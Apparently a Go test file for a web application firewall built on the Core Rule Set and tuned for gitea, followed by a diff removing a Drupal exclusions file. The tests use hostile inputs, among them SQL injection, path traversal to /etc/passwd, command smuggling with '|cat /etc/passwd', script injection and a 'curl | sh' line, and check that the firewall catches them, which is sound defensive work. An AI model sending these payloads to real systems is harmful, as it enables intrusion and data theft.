wantResult(t, crs,
request{http.MethodPost, fetch, []string{
fetchType, length, "Content-Encoding: gzip",
}},
coreruleset.Result{})
// Every other header on the Core Rule Set's list stays refused.
for _, header := range []string{
"Proxy: http://proxy.example",
"Lock-Token: token",
"Content-Range: bytes 0-1023/1024",
"If: token",
"X-HTTP-Method-Override: DELETE",
"X-HTTP-Method: DELETE",
"X-Method-Override: DELETE",
"X-Middleware-Subrequest: middleware",
} {
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, header}},
matched(920450))
}
}
func TestTransferEncodingIsRead(t *testing.T) {
t.Parallel()
// git sends a large push in chunks, with no Content-Length. Without
// Transfer-Encoding, that would be a POST without a length (920180).
wantResult(t, atDefaults(t),
request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
"Content-Type: application/x-git-receive-pack-request",
"Transfer-Encoding: chunked",
}},
coreruleset.Result{})
}
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
t.Parallel()
const attack = "id=1'%20OR%20'1'='1"
crs := atDefaults(t)
// Coraza keeps 1000: an attack that is the 1000th is read, and one
// after it is not, but the request is a match all the same.
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
// So it is with the fields of a form data or JSON body.
crs = readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 999) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
}
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 1000) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
}
}
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
t.Parallel()
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
crs := atDefaults(t)
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
get(oauth+"next=http://localhost:52341/"), matched(934110))
}
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, value := range []struct {
name string
// result is what a parameter that is not one of gitea's gets.
result coreruleset.Result
}{
// A file on the list of system files.
{".gitignore", matched(930120)},
// A command's name, after a directory on the list of shell paths.
{"bin/docker-entrypoint", matched(932260, 932160)},
} {
for _, parameter := range []string{
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
"artifactName", "redirect_to",
} {
wantChange(t, crs, get("/?"+parameter+"="+value.name),
get("/?q="+value.name), value.result)
}
}
// What only those rules refuse gets through there too, but path
// traversal and SQL injection are still refused.
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
matched(930120, 932160))
wantResult(t, crs, get("/?path=../../etc/passwd"),
coreruleset.Result{RuleIDs: []int{930100, 930110}, Score: 20})
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
}
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
}
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
t.Parallel()
const (
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
)
crs := atDefaults(t)
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
get("/", "Cookie: redirect="+redirectTo), matched(930120))
// Among other cookies, which are read.
wantChange(t, crs,
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
"; i_like_gitea=abc"),
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
"; i_like_gitea=abc"),
matched(930120))
}
func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) {
t.Parallel()
const (
search = "https://git.example/explore/repos?q=env"
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
"java.base/share/classes/java/lang/Runtime.java"
stringMD = "https://git.example/owner/repo/src/branch/main/java.lang.String.md"
)
crs := atDefaults(t)
wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
matched(932340))
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
get("/", "X-Page: "+runtimeJava), matched(944110))
wantChange(t, crs, get("/", "Referer: "+stringMD), get("/", "X-Page: "+stringMD),
matched(944130))
// It is still checked for script and SQL injection.
wantResult(t, crs,
get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
matched(941110, 941160))
wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
matched(942100))
}
func TestEmptyHeaderIsRead(t *testing.T) {
t.Parallel()
// An empty User-Agent is a notice, which adds 2.
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
coreruleset.Result{RuleIDs: []int{920330}, Score: 2})
}
func TestParanoiaLevel(t *testing.T) {
t.Parallel()
// Accept-Charset is refused from paranoia level 2.
r := get("/", "Accept-Charset: utf-8")
wantResult(t, newCoreRuleSet(t, 1), r, coreruleset.Result{})
wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
}
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
t.Parallel()
// A method not allowed, and a Host that is an IP address, a warning,
// which adds 3.
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
wantResult(t, newCoreRuleSet(t, 1), r,
coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
}
func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
reuse := "?mount=sha256:0000&from=owner/python3-app"
wantChange(t, crs, get("/v2/owner/app/blobs/uploads/"+reuse), get("/upload/"+reuse),
matched(932260))
// A command after the image's name is still refused.
wantResult(t, crs,
get("/v2/owner/app/blobs/uploads/?from=owner/app;cat%20/etc/passwd"),
matched(930120, 932160))
}
// withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
return coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path,
})
}
// exclusionsFile writes text to a file of exclusions and returns its path.
func exclusionsFile(t *testing.T, text string) string {
t.Helper()
path := filepath.Join(t.TempDir(), "exclusions.conf")
err := os.WriteFile(path, []byte(text), 0o600)
if err != nil {
t.Fatal(err)
}
return path
}
// backupFileExclusion is an exclusions file that switches 920500, a rule
// of phase 1, off for the path of a backup file under /files/.
const backupFileExclusion = `SecRule REQUEST_FILENAME "@beginsWith /files/" ` +
`"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"` + "\n"
func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) {
t.Parallel()
crs, err := withExclusions(exclusionsFile(t, backupFileExclusion))
if err != nil {
t.Fatalf("load the exclusions: %v", err)
}
wantChange(t, crs, get("/files/notes.txt~"), get("/notes.txt~"), matched(920500))
}
func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) {
t.Parallel()
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: []int{920500},
ExclusionsFile: exclusionsFile(t, backupFileExclusion),
})
if err != nil {
t.Fatalf("load the exclusions: %v", err)
}
wantResult(t, crs, get("/notes.txt~"), coreruleset.Result{})
}
func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) {
t.Parallel()
_, err := withExclusions(exclusionsFile(t,
"# 942100: GET /issues/900123\n"+backupFileExclusion))
if err != nil {
t.Errorf("the exclusions did not load: %v", err)
}
}
func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
t.Parallel()
missing := filepath.Join(t.TempDir(), "missing.conf")
_, err := withExclusions(missing)
if err == nil {
t.Errorf("%s loaded", missing)
}
for _, tc := range []struct{ text, want string }{
{"SecNoSuchDirective On\n", "unknown directive"},
// sww's own rules may not be switched off or changed, by
// id or in a range, on one line or split over several.
{"SecRuleRemoveById 899999-901000\n", "names 899999-901000"},
{
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-901000\"\n",
"names 899999-901000",
},
{
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-+901000\"\n",
"names 899999-+901000",
},
{
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=900500;ARGS:from\"\n",
"names 900500",
},
{"SecRuleRemoveById 899000-\\\n 901000\n", "names 899000-901000"},
{
"SecAction \"id:1,phase:1,pass,nolog,\\\n" +
" ctl:ruleRemoveById=9005\\\n 00\"\n",
"names 900500",
},
// The Core Rule Set's rules load after the file.
{"SecRuleRemoveById 942100\n", "SecRuleRemoveById in the exclusions file"},
{
"SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n",
"SecRuleUpdateTargetById in the exclusions file",
},
} {
_, err := withExclusions(exclusionsFile(t, tc.text))
if err == nil || !strings.Contains(err.Error(), tc.want) {
t.Errorf("%q gave the error %v, want one with %q", tc.text, err, tc.want)
}
}
}
// giteaRequests returns the recorded ordinary gitea requests in testdata.
// Each has the Referer of a page that names the same, as a page opened
// from it has.
func giteaRequests(t *testing.T) []request {
t.Helper()
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
if err != nil {
t.Fatal(err)
}
var requests []request
for line := range strings.Lines(string(text)) {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
target, header, _ := strings.Cut(line, " ")
headers := []string{"Referer: http://git.example" + target}
if header != "" {
headers = append(headers, header)
}
requests = append(requests, get(target, headers...))
}
return requests
}
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
for _, r := range giteaRequests(t) {
if got := inspect(t, crs, r); got.Score >= threshold {
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
}
}
// In q too, off gitea's search pages.
for _, parameter := range []string{"id", "q"} {
for _, attack := range []string{
"1'%20OR%20'1'='1",
"..%2Fcustom%2Fconf%2Fapp.ini",
"%3Cscript%3Ealert(1)%3C%2Fscript%3E",
} {
target := "/owner/repo?" + parameter + "=" + attack
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
}
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
formData = "Content-Type: application/x-www-form-urlencoded"
multipart = "Content-Type: multipart/form-data; boundary=b"
jsonBody = "Content-Type: application/json"
xmlBody = "Content-Type: application/xml"
)
// injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// post is a POST request for / with a body of the type contentType, a
// Content-Type header, gives, and headers besides.
func post(contentType string, headers ...string) request {
return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
}
// field is a part of a multipart body: the field name, holding value.
func field(name, value string) string {
return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
value + "\r\n"
}
// end ends a multipart body.
const end = "--b--\r\n"
// padded returns head and tail with as many a's between them as make n
// bytes in all.
func padded(head, tail string, n int) string {
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
}
// wantBody checks what crs finds in r with body, and that what it read of
// body is read.
func wantBody(
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
want coreruleset.Result,
read string,
) {
t.Helper()
got, gotRead := inspectBody(t, crs, r, body)
if !reflect.DeepEqual(got, want) || gotRead != read {
t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
want, len(read))
}
}
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
t.Parallel()
off, on := atDefaults(t), readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "q=" + url.QueryEscape(injection)},
{multipart, field("q", injection) + end},
{jsonBody, `{"q":"` + injection + `"}`},
{xmlBody, "<q>" + injection + "</q>"},
} {
wantBody(t, off, post(tc.header), tc.body, coreruleset.Result{}, "")
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
}
}
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
pad := strings.Repeat("a", bodyLimit)
for _, tc := range []struct{ header, attackFirst, attackLast string }{
{
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
"pad=" + pad + "&q=" + url.QueryEscape(injection),
},
{
multipart, field("q", injection) + field("pad", pad) + end,
field("pad", pad) + field("q", injection) + end,
},
} {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyLimit+1])
wantBody(t, crs, post(tc.header), tc.attackLast, coreruleset.Result{},
tc.attackLast[:bodyLimit+1])
}
// To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody(t, crs, post(formData), pastLimit, coreruleset.Result{}, pastLimit)
}
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ header, head, tail string }{
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} {
fits := padded(tc.head, tc.tail, bodyLimit)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody(t, crs, post(tc.header), larger, coreruleset.Result{}, larger)
}
}
func TestOtherBodiesAreNotRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// Read as form data, which the Core Rule Set does with a body of a type
// it does not know, this would be an SQL injection.
body := "q=" + url.QueryEscape(injection)
for _, header := range []string{
"Content-Type: application/octet-stream",
"Content-Type: text/plain",
"Content-Type: application/x-git-receive-pack-request",
} {
wantBody(t, crs, post(header), body, coreruleset.Result{}, "")
}
}
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
t.Parallel()
const gzip = "Content-Encoding: gzip"
crs := readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "a=1"},
{multipart, field("a", "1") + end},
{jsonBody, `{"a":1}`},
{xmlBody, "<a>1</a>"},
} {
wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
}
// Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyLimit+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no
// body is read.
fetch := "Content-Type: application/x-git-upload-pack-request"
wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "")
wantBody(t, atDefaults(t), post(formData, gzip), "a", coreruleset.Result{}, "")
}
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
local := url.QueryEscape("http://127.0.0.1:52341/")
for _, tc := range []struct {
body string
want coreruleset.Result
}{
{"path=.gitignore", coreruleset.Result{}},
{"q=.gitignore", matched(930120)},
{"redirect_uri=" + local, coreruleset.Result{}},
{"next=" + local, matched(931100, 934110)},
} {
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
}
body := field("path", ".gitignore") + end
wantBody(t, crs, post(multipart), body, coreruleset.Result{}, body)
body = field("q", ".gitignore") + end
wantBody(t, crs, post(multipart), body, matched(930120), body)
// A JSON body's field is named by its path, here json.path, and is
// checked.
body = `{"path":".gitignore"}`
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
}
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A comment that shows a shell command.
const text = "Try `curl -s https://example.org | sh` first."
comment := "content=" + url.QueryEscape(text)
wantBody(t, crs, post(formData), comment, matched(932235), comment)
// An attachment named like a log file.
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
}
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ contentType, body string }{
{"application/atom+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
{"text/json", `{"q":"` + injection + `"}`},
} {
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
matched(942100), tc.body)
}
}
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// An end tag after the root element, past which Coraza reads none of
// the body, while an app may still read the attack before it.
body := "<q>" + injection + "</q></r>"
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
// The multipart bodies Coraza cannot parse fail its strict checks too:
// one whose type names its boundary twice, and one with a part header
// that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyLimit))
for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""},
{multipart, noColon},
} {
body = tc.head + field("q", injection) + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
t.Parallel()
// The limit falls in the middle of the name of the second part's
// header, which Coraza, reading up to the limit, cannot tell from a
// header without a colon.
cut := "--b\r\nContent-Di"
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
// The limit falls between the carriage return and the line feed that
// end the second part's header line, and then between those that end
// the empty line after it. Coraza, reading up to the limit, takes the
// line ending in a lone carriage return for a malformed header.
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
// system's temporary directory, for the whole test process.
func TestCorazaWritesNoFile(t *testing.T) {
// The system's temporary directory is one that does not exist, so that
// Coraza could write nothing there: built without no_fs_access, it
// refuses to load, and could not write a file of a multipart body.
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
}
func TestBodyLimitOf1GLoads(t *testing.T) {
t.Parallel()
_, err := coreruleset.New(coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
}
}
internal/coreruleset/drupal.conf
-149
View File
@@ -1,149 +0,0 @@
# The ninth change: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set.
#
# Four rules read a search or a name as a command or a system file. Each query
# exclusion below removes these four, and only these, from its fields:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Two more misfire on destination, the address of a page of results, so
# destination alone skips them:
# 932230: ls -la
# 932235: python3
# Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3
# name: /admin/content/media?name=python3
# user: /admin/people?user=python3
# filename, filemime: /admin/content/files?filename=python3
# info: /admin/content/block?info=python3
# subject, author_name: /admin/content/comment?subject=python3
# search: /admin/config/search/path?search=python3
# q: /admin/views/ajax/autocomplete/tag?q=python3
# destination: /admin/content?destination=/admin/content%3Ftitle%3Dpython3
SecRule REQUEST_FILENAME "@rx ^/admin(?:/|$)" \
"id:900800,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:destination,\
ctl:ruleRemoveTargetById=932235;ARGS:destination,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/"
# The page to return to, on the other pages Drupal links to with one, such as
# /node/1/edit?destination=/search/node%3Fkeys%3Dpython3 and
# /user/login?destination=/search/node%3Fkeys%3Dpython3.
SecRule REQUEST_FILENAME \
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/[a-z]+)|comment/[0-9]+/[a-z]+|media/(?:add/[^/]+|[0-9]+/[a-z]+)|taxonomy/term/[0-9]+/[a-z]+|user/[^/]+(?:/[a-z]+)?)$" \
"id:900801,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:destination,\
ctl:ruleRemoveTargetById=932120;ARGS:destination,\
ctl:ruleRemoveTargetById=932230;ARGS:destination,\
ctl:ruleRemoveTargetById=932235;ARGS:destination,\
ctl:ruleRemoveTargetById=932250;ARGS:destination,\
ctl:ruleRemoveTargetById=932260;ARGS:destination"
# The text searched for on the search pages: /search/node?keys=python3.
SecRule REQUEST_FILENAME "@rx ^/search(?:/|$)" \
"id:900802,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:keys,\
ctl:ruleRemoveTargetById=932120;ARGS:keys,\
ctl:ruleRemoveTargetById=932250;ARGS:keys,\
ctl:ruleRemoveTargetById=932260;ARGS:keys"
# What is typed into a field that autocompletes a tag or a user:
# /entity_reference_autocomplete/taxonomy_term/default/KEY?q=python3.
SecRule REQUEST_FILENAME "@beginsWith /entity_reference_autocomplete/" \
"id:900803,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The values a JSON:API client filters by, in fields named after what they
# filter: /jsonapi/node/article?filter[title]=python3 and
# filter[f][condition][value]=python3.
SecRule REQUEST_FILENAME "@beginsWith /jsonapi/" \
"id:900804,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^filter\[/"
# The fields below are in bodies. Saving content sends its title, summary, tags,
# address, revision note, comment subject, media name and image text, which
# skip the same four rules there. A title such as "python3, ls -la and .htaccess"
# refused saving a node.
SecRule REQUEST_FILENAME \
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit)|media/(?:add/[^/]+|[0-9]+/edit))$" \
"id:900810,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:title|subject|name|body|revision_log|path|field_tags|field_)/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/"
# The rich text editor sends HTML in body and comment_body. Each of these rules
# refused saving a node or a comment whose HTML held an image and a code block
# with a shell script, an SQL query and JavaScript, so they skip those fields:
# 930120, 932120, 932125, 932140, 932160, 932230, 932235, 932250, 932260,
# 934100, 941160, 941390, 942170 and 942230.
SecRule REQUEST_FILENAME \
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit))$" \
"id:900811,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:comment_)?body\[/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932140;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=934100;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=942170;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/"
# A JSON:API client saving a node or a comment sends the same HTML in the
# JSON field body.value or comment_body.value, which skips the rules above. A
# title, summary or subject beside it skips 930120, 932120, 932250 and 932260.
SecRule REQUEST_FILENAME "@beginsWith /jsonapi/" \
"id:900812,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.data\.attributes\./ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
